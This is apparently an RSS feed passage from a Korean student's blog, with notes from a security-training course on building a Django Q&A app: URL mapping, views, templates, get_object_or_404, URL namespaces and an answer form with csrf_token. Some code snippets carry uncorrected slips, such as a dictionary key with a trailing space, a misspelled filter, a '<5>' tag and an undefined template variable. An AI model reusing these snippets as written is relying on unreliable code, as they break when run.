<li>변수의 값을 특정 형식으로 변환할 때 사용</li>
<li>변수 다음에 | (파이프)를 넣어서 필터를 명시</li>
<li>필터는 : 문자를 통해 인자를 받을 수 있음</li>
<li>{{ text | escape | lineberaks }}</li>
<li>{{ text | truncatewords:30 }}</li>
<li>{{ text | default:&quot;default value&quot; }} </li>
<li>{{ text | length }}  {{ text | upper }}</li>
</ul>
</li>
<li>태그<ul>
<li>{% 태그 %}</li>
<li>if 문 또는 for 문처럼 흐름을 제어하기 위해 사용</li>
<li>{% extends %}와 같이 단독으로 사용하는 템플릿 태그</li>
<li>{% if %} {% endif %}처럼 반듯이 닫아줘야 하는 템플릿 태그 </li>
</ul>
</li>
<li>주석<ul>
<li>주석 처리할 때 사용 </li>
<li>{# 한 줄 주석 #} </li>
<li>{% comment %} <br>여러 줄 주석 <br>{% endcomment %} </li>
</ul>
</li>
</ul>
<br>

<ul>
<li>pybo\views.py</li>
</ul>
<blockquote>
<p>def index(request):<br>    question_list = Question.objects.order_by(&#39;-create_date&#39;)<br>    context = { &#39;question_list&#39; : question_list }<br>    <br>    return render(request, &#39;pybo/question_list.html&#39;, context)     # context를 question으로 전달</p>
</blockquote>
<ul>
<li>templates\pybo\question_list.html</li>
</ul>
<br>

<pre><code class="language-html">{% if question_list %}   # 뷰에서 전달받은 question_list가 있다면
    &lt;ul&gt;
        {% for question in question_list %}           # 뷰의 context 변수에 정의한 키 이름 
            &lt;li&gt;&lt;a href=&quot;/pybo/{{ question.id }}/&quot;&gt;{{ question.subject }}&lt;/a&gt;&lt;/li&gt;
        {% endfor %}                                  # 아이디와 제목을 하나씩 출력하는 반복문   
    &lt;/ul&gt;
{% else %}
    &lt;p&gt;질문이 없습니다.&lt;/p&gt;
{% endif %}</code></pre>
<p>&lt;br&lt;</p>
<h1 id="2-질문-상세-기능-구현"><strong>2. 질문 상세 기능 구현</strong></h1>
<h2 id="1-pybo에서-질문-목록-클릭"><strong>1) pybo/에서 질문 목록 클릭</strong></h2>
<blockquote>
<p><strong>오류 발생</strong></p>
</blockquote>
<p>/pybo/숫자/ 형식의 URL 패턴이 정의되어 있지 않아서 질문을 클릭하면 상세 페이지로 넘어가지 못한다.</p>
<p>질문을 클릭했을 때 상세 페이지로 갈 수 있도록 기능을 구현한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/3cd9c9e3-df75-4b12-a124-7710c8eafe3f/image.png" alt="" title="오류 페이지"></p>
<br>

<h2 id="2-pybourlspy-파일에-패턴-추가"><strong>2) pybo\urls.py 파일에 패턴 추가</strong></h2>
<pre><code class="language-py">from django.urls import path
from . import views         # 현재 패키지에서 views 모듈을 가져옴

urlpatterns = [
    path(&#39;&#39;, views.index),
    path(&#39;&lt;int:question_id&gt;/&#39;, views.detail),    # 추가
]</code></pre>
<p>게시물을 눌렀을 때 숫자마 들어오는데 이 숫자는 고정되어 있는 게 아니다. 변하는 값을 어떻게 넣는지 알 수 있다.</p>
<p>(&lt;타입:받을_변수&gt;, 모듈.함수) 이 구문은 변하는 타입의 값을 받아서 views 모델에 있는 detail 함수로 보내는 구문이다.</p>
<br>

<h2 id="3-pyboviewspy-파일에-detail-메서드-추가"><strong>3) pybo\views.py 파일에 detail 메서드 추가</strong></h2>
<pre><code class="language-py">from django.shortcuts import render
from .models import Question

def index(request):
    question_list = Question.objects.order_by(&#39;-create_date&#39;)
    context = { &#39;question_list&#39; : question_list }

    return render(request, &#39;pybo/question_list.html&#39;, context)

def detail(request, question_id) :                    # 메서드 추가
    question = Question.objects.get(id=question_id)
    context = { &#39;question &#39; : question }

    return render(request, &#39;pybo/question_detail.html&#39;, context)</code></pre>
<p>detail 함수는 path에서 받은 question_id를 받는다. 이 id에 대한 question 값을 받아올 수 있다. Question 객체에서 get을 사용하는데 이 get은 하나만 가져올 때 사용한다. 이때 id는 매개변수로 받은 question_id를 사용한다.</p>
<p>이 받은 것을 화면으로 출력을 해줘야 하는데 딕셔너리는 사용해 정의한다. 이 값을 화면을 어떻게 출력할 것인지 정해놓은 템플리에 다시 보내주어야 우리가 원하는 방식대로 출력되기 때문에 render 함수를 사용해 question_detail.html로 context 변수를 보내주는 것이다.</p>
<br>

<h2 id="4-templatespyboquestion_detailhtml-템플릿-정의"><strong>4) templates\pybo\question_detail.html 템플릿 정의</strong></h2>
<pre><code class="language-html">&lt;h1&gt;{{ question.subject }}&lt;/h1&gt;

&lt;div&gt;
    {{ question.content }}
&lt;/div&gt;</code></pre>
<p>간단하게 질문의 제목과 내용을 받아서 출력한다.</p>
<br>

<h2 id="5-브라우저-확인"><strong>5) 브라우저 확인</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/f6b15963-ebe5-4476-b3cb-17c35c37be30/image.png" alt="" title="상세 질문"></p>
<p>위에서 오류 페이지가 나왔지만 다시 잘 나오는 것을 확인할 수 있다.</p>
<br>

<h1 id="3-get_object_or_404-메서드-활용"><strong>3. get_object_or_404 메서드 활용</strong></h1>
<blockquote>
<p><strong>존재하지 않는 데이터를 조회하는 오류 발생</strong></p>
</blockquote>
<p>존재하지 않는 데이터를 조회하면 오류가 발생하는데 오류 메시지에 시스템(프로그램) 내부 구조 및 로직이 포함되어 출력된다. </p>
<p>공격자는 오류 메시지를 통해 정보를 수집해 추가 공격 계획을 쉽게 할 수 있다.</p>
<p>오류 메시지를 내부 정보가 포함되지 않는 단순한 메시지로 출력하기 위해서는 get_object_or_404 메서드를 활용한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/fecea145-b604-4fc0-ae32-201f934dfe42/image.png" alt="" title="없는 데이터 오류"></p>
<br>

<h2 id="1-get-메서드를-get_objcet_or_404-메서드로-대체"><strong>1) get 메서드를 get_objcet_or_404 메서드로 대체</strong></h2>
<blockquote>
<p><strong>모델의 기본키를 이용해서 모델 객체 한 것을 반환</strong></p>
</blockquote>
<pre><code class="language-py">from django.shortcuts import render, get_object_or_404
from .models import Question

def index(request):
    question_list = Question.objects.order_by(&#39;-create_date&#39;)
    context = { &#39;question_list&#39; : question_list }

    return render(request, &#39;pybo/question_list.html&#39;, context)

def detail(request, question_id) :
    # question = Question.objects.get(id=question_id)            # 주석
    question = get_object_or_404(Question, pk=question_id)        # 추가
    context = { &#39;question&#39; : question }

    return render(request, &#39;pybo/question_detail.html&#39;, context)</code></pre>
<p>get_object_or_404()는 첫 번째 인자로 모델을 넣어주고, 몇 개의 키워드 인수를 모델 관리자의 get() 함수에 넘긴다.</p>
<p>여기서는 pk=question_id를 넘겼는데 Question 모델에서 question_id를 가져오는 것이다.</p>
<br>

<h3 id="1-존재하는-데이터를-조회한-경우"><strong>(1) 존재하는 데이터를 조회한 경우</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/3972c649-6b24-4542-96de-c160570c9083/image.png" alt="" title="상세 페이지"></p>
<br>

<h3 id="2-존재하지-않는-데이터를-조회한-경우"><strong>(2) 존재하지 않는 데이터를 조회한 경우</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/ce7d1a51-23e4-4103-a540-cd0787721782/image.png" alt="" title="오류 페이지"></p>
<p>이전에 존재하지 않은 데이터를 조회했을 때는 자세한 오류 메시지가 출력 됐지만, get_object_or_404를 사용해 내부 정보가 포함되지 않는 단순한 오류 메시지가 출력되도록 수정했다.</p>
<br>

<h1 id="4-url-맵핑-정보에-별칭-사용"><strong>4. URL 맵핑 정보에 별칭 사용</strong></h1>
<h2 id="1-question_listhtml-템플릿"><strong>1) question_list.html 템플릿</strong></h2>
<pre><code class="language-html">&lt;li&gt;&lt;a href=&quot;/pybo/{{ question.id }}/&quot;&gt;{{ question.subject }}&lt;/a&gt;&lt;/li&gt;</code></pre>
<ul>
<li>질문 목록에서 제목(링크)을 클릭했을 때 이동하는 주소</li>
</ul>
<br>

<p>주소가 하드 코딩 되어 있어 변경을 일관되고 쉽게 반영하기 어렵다. 이 패턴은 여러 군데 사용될 수 있는데 id가 아니고 name, subject 또는 어떤 무언가가 와서 패턴이 바뀌면 여러 군데 사용한 모든 것을 다 찾아서 수정을 해주어야 한다.</p>
<p>URL의 주소 패턴 바뀌더라도 이를 쉽게 반영하기 위해서는 별칭을 사용한다.</p>
<br>

<h2 id="2-pybourlspy-파일에-url-별칭-추가"><strong>2) pybo\urls.py 파일에 URL 별칭 추가</strong></h2>
<pre><code class="language-py">from django.urls import path
from . import views         # 현재 패키지에서 views 모듈을 가져옴

urlpatterns = [
    path(&#39;&#39;, views.index, name = &#39;index&#39;),
    path(&#39;&lt;int:question_id&gt;/&#39;, views.detail, name = &#39;detail&#39;),
]</code></pre>
<ul>
<li>/pybo/ 형식의 주소에 index라는 이름을 부여</li>
<li>/pybo/숫자/ 형식의 주소에 detail라는 이름을 부여</li>
</ul>
<br>

<h2 id="3-templatespyboquestion_listhtml-템플릿-파일을-url-별칭을-사용하도록-수정"><strong>3) templates\pybo\question_list.html 템플릿 파일을 URL 별칭을 사용하도록 수정</strong></h2>
<pre><code class="language-py">{% if question_list %}
    &lt;ul&gt;
        {% for question in question_list %}
            {# &lt;li&gt;&lt;a href=&quot;/pybo/{{ question.id }}/&quot;&gt;{{ question.subject }}&lt;/a&gt;&lt;/li&gt; #}
            &lt;li&gt;&lt;a href=&quot;{% url &#39;detail&#39; question.id %}&quot;&gt;{{ question.subject }}&lt;/a&gt;&lt;/li&gt;
        {% endfor %}
    &lt;/ul&gt;
{% else %}
    &lt;p&gt;질문이 없습니다.&lt;/p&gt;
{% endif %}</code></pre>
<p>&#39;detail&#39;은 별칭이다. 이 detail은 방금 위에서 설정한 형식을 가진다. detail에서 설정한 형식은 pybo/숫자가 나오는 형식인데 이때 받는 숫자는 question_id가 된다. </p>
<p>직접적으로 정의하는 게 아니고 정의된 형식을 urls에서 가져와서 사용하는 것이다.</p>
<br>

<h2 id="4-url-네임스페스"><strong>4) URL 네임스페스</strong></h2>
<blockquote>
<p><strong>서로 다른 앱세서 같은 URL 별칭을 사용하면 중복 문제가 발생</strong><br><strong>네임스페이스(namespace : 각각의 앱이 관리하는 독립된 이름 공간)를 적용해서 해결 가능</strong></p>
</blockquote>
<br>

<h3 id="1-pybourlspy-파일에-네임스페이스-이름을-값으로-가지는-app_name-변수-추가"><strong>(1) pybo\urls.py 파일에 네임스페이스 이름을 값으로 가지는 app_name 변수 추가</strong></h3>
<pre><code class="language-py">from django.urls import path
from . import views        # 현재 패키지에서 views 모듈을 가져옴

app_name = &#39;pybo&#39;        # 추가

urlpatterns = [
    path(&#39;&#39;, views.index, name = &#39;index&#39;),
    path(&#39;&lt;int:question_id&gt;/&#39;, views.detail, name = &#39;detail&#39;),
]</code></pre>
<p>여기서 index와 detail은 pybo의 index, detail이다. 그런데 test라는 애플리케이션이 있을 때, test 애플리케이션 안에서 별칭을 위 코드와 똑같이 사용하면 question_list.html 템플릿 url &#39;detail&#39;에서 pybo의 detail인지 test의 detail인지 알 수가 없다.</p>
<p>그래서 이것을 구분하기 위해서 네임스페이스를 사용한다.</p>
<p>위 코드만 적용하고 실행하면 오류가 발생한다. 그 이유는 템플릿에 사용된 별칭의 네임스페이스를 정의하지 않았기 때문이다. </p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/b573329c-fd2b-4dac-9879-3b6fedc06e13/image.png" alt="" title="오류 페이지"></p>
<br>

<h3 id="2-templatspyboquestion_listhtml-파일에서-사용하고-있는-별칭의-네임스페이를-지정"><strong>(2) templats\pybo\question_list.html 파일에서 사용하고 있는 별칭의 네임스페이를 지정</strong></h3>
<pre><code class="language-html">{% if question_list %}
    &lt;ul&gt;
        {% for question in question_list %}
            {# &lt;li&gt;&lt;a href=&quot;/pybo/{{ question.id }}/&quot;&gt;{{ question.subject }}&lt;/a&gt;&lt;/li&gt; #}
            &lt;li&gt;&lt;a href=&quot;{% url &#39;pybo:detail&#39; question.id %}&quot;&gt;{{ question.subject }}&lt;/a&gt;&lt;/li&gt;
        {% endfor %}
    &lt;/ul&gt;
{% else %}
    &lt;p&gt;질문이 없습니다.&lt;/p&gt;
{% endif %}</code></pre>
<ul>
<li>pybo:detail로 수정</li>
</ul>
<p>위 detail은 pybo 네임스페이스 것이다라고 알려주는 것이다.</p>
<br>

<h1 id="5-답변-저장-및-출력-기능을-추가"><strong>5. 답변 저장 및 출력 기능을 추가</strong></h1>
<h2 id="1-질문-상세-페이지templatespyboquestion_detailhtml에-답변-등록-버튼-추가"><strong>1) 질문 상세 페이지(templates\pybo\question_detail.html)에 답변 등록 버튼 추가</strong></h2>
<pre><code class="language-html">&lt;h1&gt;{{ question.subject }}&lt;/h1&gt;

&lt;div&gt;
    {{ question.content }}
&lt;/div&gt;

&lt;form action=&quot;{% url &#39;pybo:answer_create&#39; question_id %}&quot; method=&quot;post&quot;&gt;  {# 추가 #}
    {% csrf_token %}
    &lt;textarea name=&quot;content&quot; id=&quot;content&quot; rows=&quot;15&quot;&gt;&lt;/textarea&gt;
    &lt;input type=&quot;submit&quot; value=&quot;답변 등록&quot;/&gt;
&lt;/form&gt;</code></pre>
<ul>
<li>form이라는 것은 form 태그 안에 있는 입력창, 선택창 등의 값을 서버로 전달하는 역할을 한다.</li>
<li>pybo : answer_create    -  pybo에 새로운 별칭 answer_create 추가</li>
</ul>
<br>

<p>사용자의 입력을 서버에 전달하기 위해서는 반드시 fomr 태그를 사용해야 한다. 여기서 &quot;서버에&quot;라는 말은 &#39;action&#39;이 된다.</p>
<p>&#39;action&#39;에는 사용자의 입력이 어느 서버에 어느 페이지에 전달할 것인가를 지정하는 것이다. 이는 바로 URL이라고 한다.</p>
<p>지정된 URL 주소로 입력값을 전달하라고 지정한다. 이때 어떤 방식으로 전달할 것인가는 &#39;method&#39;가 된다.</p>
<p>방식에는 전달하는 요청을 서버에서 어떻게 처리할 것인가를 명시하는 것을 말한다. 생성, 조회, 수정, 삭제 등이 될 수 있다.</p>
<p>조회할 때는 get 또는 post를 사용한다. get은 주소 뒤에 입력 돼 값이 붙어서 가는 방식이고, post  방식은 주소가 아닌 요청 본문에 그 데이터들이 들어가는 방식이다.</p>
<p>사용자가 textarea에 입력한 내용을 서버에 전달한다. 서버로 전달할 때 id, class는 아무런 역할을 하지 않는다.</p>
<p>id와 class는 브라우저 안에서 어떤 태그가 있다면 그 태그를 관리하기 위한 용도로 사용한다. 관리한다는 것은 그것들을 식별해서 조회하고 수정하기 위한 것이다. 또한 JS로 제어를 하거나 CSS 등으로 스타일을 적용할 때 id나 class를 사용한다. </p>
<p>간단하게 말해서 id와 class는 브라우저 안에서 그 값들을 식별하기 위해서 사용한다.</p>
<p>name은  입력되는 값을 서버로 전달할 때 서버에서 그 값을 추출하기 위해 용도로 사용한다. name은 서버로 전달했을 때 서버에서 식별하기 위해서 사용한다. </p>
<p>name과 id의 차이점이 있다는 것을 알아야 한다.</p>
<p>&#39;submit&#39;은 submit이 클릭이 되면 form에서 입력된 값을 action에 기술된 주소로 서버로 보내라는 것이다.</p>
<p> csrf_token은 csrf 취약점을 방어하기 위한 기법 중 하나인데, 정상적인 절차에 의해서 요청이 이루어졌다는 것을 보장하는 기능이다.</p>
<p>새로운 별칭을 추가했고 URL 맵핑이 정의되지 않았기 때문에 이대로 실행하면 오류가 발생한다. </p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c8c22319-9d57-44e4-877f-6ad9ae0d41c4/image.png" alt="" title="오류 페이지"></p>
<br>

<h2 id="2-pybourlspy-파일에-url-맵핑-등록"><strong>2) pybo\urls.py 파일에 URL 맵핑 등록</strong></h2>
<pre><code class="language-py">from django.urls import path
from . import views

app_name = &#39;pybo&#39;

urlpatterns = [
    path(&#39;&#39;, views.index, name=&#39;index&#39;),
    path(&#39;&lt;int:question_id&gt;/&#39;, views.detail, name=&quot;detail&quot;),
    path(&#39;answer/create/&lt;int:question_id&gt;&#39;, views.answer_create, name=&#39;answer_create&#39;),
]</code></pre>
<p>맵핑을 했으면 주소만 있는 것이기 때문에 화면으로 보일 views를 정의해야 한다.</p>
<br>

<h2 id="3-pyboviewspy-파일에-answer_create-메서드-추가"><strong>3) pybo\views.py 파일에 answer_create 메서드 추가</strong></h2>
<pre><code class="language-py">from django.shortcuts import render, get_object_or_404, redirect    #추가
from .models import Question
from django.utils import timezone    #추가

def index(request):
    question_list = Question.objects.order_by(&#39;-create_date&#39;)
    context = { &#39;question_list&#39; : question_list }

    return render(request, &#39;pybo/question_list.html&#39;, context)

def detail(request, question_id) :
    # question = Question.objects.get(id=question_id)
    question = get_object_or_404(Question, pk=question_id)
    context = { &#39;question&#39; : question }

    return render(request, &#39;pybo/question_detail.html&#39;, context)

def answer_create(request, question_id) :    # 추가
    question = get_object_or_404(Question, pk=question_id)
    question.answer_set.create(content=request.POST.get(&#39;content&#39;), create_date=timezone.now())

    return redirect(&#39;pybo:detail&#39;, question_id=question_id)</code></pre>
<ul>
<li>답변을 추가할 질문을 조회</li>
<li>답변 추가 후 상세 페이지로 리다이렉트</li>
</ul>
<br>

<p>POST 방식으로 전달된 요청 객체에서 content라는 이름의 값을 가져오는 것이다. 이 content는 사용자가 입력한 값 중에서 이름이 content인 값을 가져오는 것이다. </p>
<p>content는 위 question_detail.html에 textarea 태그 안에 name = &#39;content&#39;에 연결되어 있다.</p>
<p>redirect는 요청을 다른 요청으로 바꾸는 것이다.</p>
<p>저장 버튼을 누르면 answer_create를 호출하면 DB에 저장을 하고 결과를 내려준다. 이때 결과는 redirect인데 detail 페이지로 다시 요청하라는 뜻으로  detail 페이지로 다시 요청하고 그 결과에 맞춰 화면에 출력해 준다.</p>
<p>그런데 이때 DB에 저장 후 detail로 다시 요청해 달라는 리턴을 받고 detail로 다시 요청을 할 때는 사용자가 관여하는 게 아니고 브라우저가 알아서 처리해 준다. 응답 헤더에 있는 로케이션 헤더의 값을 이용해서 자동으로 이루어지는 이 과정을 redirect라고 한다.</p>
<p>저장, 수정, 삭제가 되면 서버 사이드의 변경을 클라이언트가 다시 요청을 해야만 볼 수 있다. 웹은 클라이언트가 요청을 하지 않으면 응답을 받을 수 없는 구조이다.</p>
<br>

<h2 id="4--templatespyboqueston_detailhtml-파일에-답변을-출력하도록-수정"><strong>4)  templates\pybo\queston_detail.html 파일에 답변을 출력하도록 수정</strong></h2>
<pre><code class="language-html">&lt;h1&gt;{{ question.subject }}&lt;/h1&gt;

&lt;div&gt;
    {{ question.content }}
&lt;/div&gt;

{# 답변 내용 출력 추가 #}    
&lt;5&gt;{{ question.answer_set.count }}개의 답변이 있습니다.&lt;/5&gt;
&lt;div&gt;
    &lt;ul&gt;
        {% for answer in question.answer_set.all %}
            &lt;li&gt;{{ answer.content }}&lt;/li&gt;
        {% endfor %}
    &lt;/ul&gt;
&lt;/div&gt;

&lt;form action=&quot;{% url &#39;pybo:answer_create&#39; question_id %}&quot; method=&quot;post&quot;&gt;
    {% csrf_token %}
    &lt;textarea name=&quot;content&quot; id=&quot;content&quot; rows=&quot;15&quot;&gt;&lt;/textarea&gt;
    &lt;input type=&quot;submit&quot; value=&quot;답변 등록&quot;/&gt;
&lt;/form&gt;</code></pre>
<p>위에서 함수 set.all을 입력했는데 이전에는 set.all() 괄호를 사용해 주었다. 이것은 장고 템플릿 문법에서는 괄호를 빼고 사용한다. 마치 속성을 그대로 쓰듯이 사용한다.</p>
<br>

<h1 id="6-위-5번-기능을-브라우저를통해-확인"><strong>6. 위 5번 기능을 브라우저를통해 확인</strong></h1>
<p><img src="https://velog.velcdn.com/images/en_geon/post/a64295d6-9d1a-4d77-a197-75108e91c826/image.png" alt="" title="답변 등록"></p>
<br> 

<p><img src="https://velog.velcdn.com/images/en_geon/post/23bacff7-b78e-4e1f-b88a-ac4f94eb75f0/image.png" alt="" title="답변 등록"></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][Django] - Django 1]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0Django-Django-1</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0Django-Django-1</guid>
            <pubDate>Thu, 21 Mar 2024 14:15:50 GMT</pubDate>
            <description><![CDATA[<h1 id="1-앱-생성"><strong>1. 앱 생성</strong></h1>
<br>

<h2 id="1-pybo-앱-생성"><strong>1) pybo 앱 생성</strong></h2>
<ul>
<li><strong>django-admin startapp pybo 생성</strong></li>
<li><strong>tree .\pybo /f  생성된 파일 확인</strong></li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/5575f0e0-7cb9-4c7d-8da3-01cf6e19d502/image.png" alt="" title="pybo 생성"></p>
<p>설치 후 앱 생성까지 다 끝나서 개발 서버로 들어가면 되지만 URL을 정의하지 않아서 오류가 난다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/3a4ce9eb-aede-4055-929e-8aa37205c59c/image.png" alt="" title="오류 페이지"></p>
<br>

<h2 id="2-url-맵핑"><strong>2) URL 맵핑</strong></h2>
<ul>
<li><strong>config\urls.py 파일에 path() 함수를 사용해서 URL과 요청을 처리할 함수 연결</strong></li>
<li><strong>from pybo import views</strong></li>
<li><strong>path(&#39;pybo/&#39;, views.index),</strong></li>
</ul>
<br>

<pre><code class="language-py">from django.contrib import admin
from django.urls import path
from pybo import views

urlpatterns = [
    path(&#39;admin/&#39;, admin.site.urls),
    path(&#39;pybo/&#39;, views.index),
]</code></pre>
<p>pybo 아래에 있는 views 모듈 안에 index 함수를 불러오는 path를 추가하는 것이다.</p>
<p>위 코드를 저장하면 views.index 함수가 정의되지 않아서 오류가 발생한다.</p>
<br>

<blockquote>
<p>File &quot;C:\Users\crpark\AppData\Local\Programs\Python\Python312\Lib\importlib\__init__.py&quot;,<br>line 90, in import_module    return _bootstrap._gcd_import(name[level:], package,level)<br>                                                             &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
File &quot;&lt;frozen importlib._bootstrap&gt;&quot;, line 1387, in _gcd_import<br>File &quot;&lt;frozen importlib._bootstrap&gt;&quot;, line 1360, in _find_and_load<br>File &quot;&lt;frozen importlib._bootstrap&gt;&quot;, line 1331, in _find_and_load_unlocked<br>File &quot;&lt;frozen importlib._bootstrap&gt;&quot;, line 935, in _load_unlocked<br>File &quot;&lt;frozen importlib._bootstrap_external&gt;&quot;, line 995, in exec_module<br>File &quot;&lt;frozen importlib._bootstrap&gt;&quot;, line 488, in _call_with_frames_removed<br>File &quot;c:\python\projects\mysite\config\urls.py&quot;, line 22, in &lt;module&gt;   
&nbsp;     path(&#39;pybo/&#39;, views.index)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ^^^^^^^
AttributeError: module &#39;pybo.views&#39; has no attribute &#39;index&#39;  </p>
</blockquote>
<ul>
<li>뷰 함수가 정의되지 않았기 때문에 오류가 발생</li>
</ul>
<br>

<h2 id="3-views-함수를-정의"><strong>3) views 함수를 정의</strong></h2>
<ul>
<li><strong>pybo\views.py 파일에 index() 함수 추가</strong></li>
<li><strong>from django.http import HttpResponse</strong></li>
</ul>
<br>

<pre><code class="language-py">from django.http import HttpResponse

def index(request) :
    return HttpResponse(&quot;안녕하세요. PYBO에 온 것을 환영합니다.&quot;)</code></pre>
<ul>
<li>HttpResponse는 요청에 대한 응답을 만들 때 사용하는 클래스</li>
</ul>
<br>

<h2 id="4-서버-실행"><strong>4) 서버 실행</strong></h2>
<ul>
<li><strong>python manage.py runserver</strong></li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/ba629444-9e7d-44c9-92fd-a218133dcf8f/image.png" alt="" title="서버 실행"></p>
<br>

<h2 id="5-페이지-접속"><strong>5) 페이지 접속</strong></h2>
<ul>
<li><strong>http:<hi></hi>//localhost:8000/pybo 로 접속</strong></li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/da5884e3-5cb6-43d4-bf53-c7c9149bb162/image.png" alt="" title="접속 확인"></p>
<br>

<h3 id="1-명령-프롬프트에서-curl로-접속"><strong>(1) 명령 프롬프트에서 curl로 접속</strong></h3>
<blockquote>
<p>C:\Users\crpark&gt; curl http:/<hi></hi>/localhost:8000/pybo/ -v<br>* Trying [::1]:8000...                       ⇐ 개발 서버와 연결을 시도<br>* Trying 127.0.0.1:8000...<br>* Connected to localhost (127.0.0.1) port 8000<br>&gt; GET /pybo/ HTTP/1.1               ⇐ 요청 시작<br>&gt; Host: localhost:8000              ⇐ 요청 헤더 시작<br>&gt; User-Agent: curl/8.4.0<br>&gt; Accept: */*<br>&gt;                             ⇐ 요청 헤더 끝 (GET 방식인 경우 요청 본문은 생략)<br>&lt; HTTP/1.1 200 OK                               ⇐ 응답 시작<br>&lt; Date: Fri, 08 Mar 2024 04:32:44 GMT    ⇐ 응답 헤더 시작<br>&lt; Server: WSGIServer/0.2 CPython/3.12.2<br>&lt; Content-Type: text/html; charset=utf-8<br>&lt; X-Frame-Options: DENY<br>&lt; Content-Length: 52<br>&lt; X-Content-Type-Options: nosniff<br>&lt; Referrer-Policy: same-origin<br>&lt;                                             ⇐ 응답 헤더 끝<br>안녕하세요. PYBO에 온 것을 환영합니다.      ⇐ 응답 본문 ⇒ index 함수에서 HttpResponse <br>* Connection #0 to host localhost left intact                       인스턴스 생성 시  입력한 문자열</p>
</blockquote>
<p>curl로 접속하면 위와 같이 세부적으로 볼 수 있다.</p>
<br>

<h1 id="2-url-분리-앱-별로-url-맵핑을-관리"><strong>2. URL 분리, 앱 별로 URL 맵핑을 관리</strong></h1>
<br>

<h2 id="1-configurlspy-수정"><strong>1) config\urls.py 수정</strong></h2>
<p>페이지를 100개를 만들었을 때, urls.py를 수정하지 않고 위 urls.py와 같은 방식으로 작성한다면 모든 페이지의 url를 다 적어 100 라인을 써야 하며 가독성이 떨어지기 때문에 관련된 앱 별로 관리할 수 있도록 수정을 한다.</p>
<ul>
<li>장고 urls 패키지에 있는 include 모듈 추가 </li>
<li>path(&#39;pybo/&#39;, include(&#39;pybo.urls&#39;))로 수정</li>
</ul>
<br>

<pre><code class="language-py">from django.contrib import admin
from django.urls import path, include
from pybo import views   

urlpatterns = [
    path(&#39;admin/&#39;, admin.site.urls),
    # path(&#39;pybo/&#39;, views.index),
    path(&#39;pybo/&#39;, include(&#39;pybo.urls&#39;))  # 추가
]</code></pre>
<p>pybo 패키지에 있는 urls 모듈을 참조해서 URL 맵핑을 처리한다.</p>
<p>pybo\urls.py 파일에 pybo/ 패턴의 요청을 처리할 URL 맵핑을 정의한 것이다.</p>
<br>

<h2 id="2-pybourlspy-파일을-추가"><strong>2) pybo\urls.py 파일을 추가</strong></h2>
<br>

<pre><code class="language-py">from django.urls import path
from . import views         # 현재 패키지에서 views 모듈을 가져옴

urlpatterns = [
    path(&#39;&#39;, views.index),
]</code></pre>
<br>

<p>http:/<hi></hi>/localhost:8000/pybo/로 요청을 한다. 이때 웹 루트 아래에 있는 pybo를 해석하려고 할 때, 첫 번째로는 confing\urls.py에서 찾는다. 위 config\urls.py에서 수정한 패턴을 보면 pybo/를 찾는 것인데 include 함수를 통해 pybo\urls 내용을 가지고 오는 문장이기 때문에 pybo\urls.py를 추가한 것이다</p>
<p>pybo\urls.py의 path에서 보면 패턴이 &#39; &#39;로 비어 있다. 비어 있다는 말은 http:/<hi></hi>/localhost:8000/pybo/&quot;   &quot; 이곳 즉, pybo/ 다음에 아무것도 없다는 뜻으로 아무것도 없으면 views.index로 보내라는 것이다. </p>
<p>만약 main, sub, page 이름의 페이지가 있다면 http:/<hi></hi>/localhost:8000/pybo/main 이렇게 들어갈 것이다. 나머지도 main이 들어간 자리에 들어간다. 그래서 pybo/로 시작하고 그 밑에 무언가가 있다면 이 파일에 정의를 하면 된다.</p>
<br>

<h1 id="3-configsettingspy--파일에서-설정-정보-확인"><strong>3. config\settings.py  파일에서 설정 정보 확인</strong></h1>
<br>

<h2 id="1-installed_apps"><strong>1) INSTALLED_APPS</strong></h2>
<blockquote>
<p>기본 설치된 앱</p>
</blockquote>
<ul>
<li>admin : 관리자 기능 </li>
<li>auth  : 인증 </li>
<li>contenttypes : 요청 응답에 나오는 내용 바이너리, xml, text</li>
<li>sessions : 세션 관리</li>
<li>messages : 메시지 관리</li>
<li>staticfiles : 정적 관리 </li>
</ul>
<br>

<h2 id="2-databases"><strong>2) DATABASES</strong></h2>
<blockquote>
<p><strong>장고 애플리케이션에서 사용하는 데이터베이스의 연결 정보</strong></p>
</blockquote>
<ul>
<li>sqlite3</li>
</ul>
<br>

<h2 id="3-migrate"><strong>3) migrate</strong></h2>
<blockquote>
<p><strong>config\settings.py에 있는 설정 정보를 반영하는 것</strong></p>
</blockquote>
<ul>
<li>migrate 명령어로 앱이 필요로 하는 테이블 생성</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/2c3430ba-905b-4e41-978f-0bfe5b9d9edc/image.png" alt="" title="migrate"></p>
<p>migrate를 하면 설정 정보에서 정의한 설정들의  테이블을 만들어 준다.</p>
